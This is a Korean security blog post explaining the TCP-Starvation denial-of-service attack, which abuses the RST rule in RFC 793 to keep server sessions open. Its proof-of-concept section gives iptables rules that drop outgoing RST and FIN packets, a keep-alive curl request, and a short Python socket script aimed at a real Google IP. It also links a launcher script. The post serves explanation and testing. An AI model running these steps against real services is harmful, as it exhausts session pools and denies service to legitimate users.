[HACKING] TCP‑Starvation Attack (DOS Attack on TCP Sessions)

요즘은 edb쪽 문서를 자주 보진 못하지만.. 주말부터 틈날때마다 하나 봐둔게 있습니다. 오늘 정리해서 작성해봅니다.

TCP-Stravation Attack 입니다.

What is?

TCP-Stravation Attack은 TCP 통신간 발생하는 DOS 취약점입니다. 굉장히 오랜 기간동안 감춰져있었고, 최근에 이야기되고 있습니다. TCP를 사용하는 서비스는 대상이되며 이걸 공개한 Eplox는 사이트별로 1분 30초에서 길게는 10분 넘는 시간 동안 timeout이 걸린다고 합니다.

google.com: 150sec facebook.com: 200sec wikipedia.org: 90sec twitter.com: 1020sec reddit.com: 710sec

RFC793 Document

1981년도 RFC793 문서를 보면 RST에 대한 이야기가 있습니다. https://datatracker.ietf.org/doc/rfc793/?include_text=1

관련이 있으니 시간이 되신다면 찬찬히 읽어보시면 좋습니다. 급하다면.. 아래 부분만 바로 보시죠.

Vulnerable point

RFC793 문서에서 바로 이부분.

As a general rule, reset (RST) must be sent whenever a segment arrives which apparently is not intended for the current connection. A reset must not be sent if it is not clear that this is the case.

일반적으로 세그먼트가 도착할 때마다 RST를 보내야하지만, 명확한 connection이 아닌 경우 RST를 보내지 않도록 되어있습니다.

이걸 악용해서 공격자가 의도적으로 불명확한 Connection을 만들어서 서버의 세션을 닫지 않고 유지하도록 만듭니다.

아래 그림과 함께 보면 이해에 도움됩니다.

https://www.exploit-db.com/docs/english/44026-tcp-starvation.pdf

일반적인 TCP 통신은 SYN SYN/ACK 이후 데이터 전송, 그리고 FIN ACK으로 세션 종료를 하지만 TCP-Stravation Attack은 ACK, FIN ACK을 전송하지 않습니다. 그래서 서버는 해당 세션을 열고 있는 상태를 유지하게 됩니다.

공격자가 빠르게 많은 수의 요청을 수행하면 세션풀이 가득차고, 정상적인 사용자가 서비스 이용을 제대로 못하는 DOS가 발생합니다.

Poc & Testing code

우선 쉽게 iptable로 RST와 FIN을 짤라줍니다.

#> iptables -A OUTPUT -d 192.168.0.12 -p tcp -dport 80 -tcp-flags RST RST -j DROP

#> iptables -A OUTPUT -d 192.168.0.12 -p tcp -dport 80 -tcp-flags FIN FIN -j DROP

그다음 그냥 요청합니다. 80으로 짤랐으니 80으로..

#> curl http://192.168.0.12 –headers “Connection: keep-alive”

공개된 정보로는..

Poc

#/usr/bin/python
import socket
header = ('GET / HTTP/1.1\r\n'
'Host: www.google.com\r\n'
'Connection: keep-alive\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('173.194.222.100', 80))
s.send(header)
s.close()

Test script

https://github.com/Eplox/TCP-Starvation/blob/master/kittenzlauncher.py

  • DDOS, WAF 적용 등
https://raw.githubusercontent.com/Eplox/TCP-Starvation/master/images/google.png

What’s the diffrent with SYN Flood attack?

비슷하게 보일 수 있지만 약간 다릅니다. SYN의 경우 반연결(half), S는 완전 연결(Full)

Reference

https://www.exploit-db.com/docs/english/44026-tcp-starvation.pdf

https://github.com/Eplox/TCP-Starvation/blob/master/kittenzlauncher.py

https://datatracker.ietf.org/doc/rfc793/?include_text=1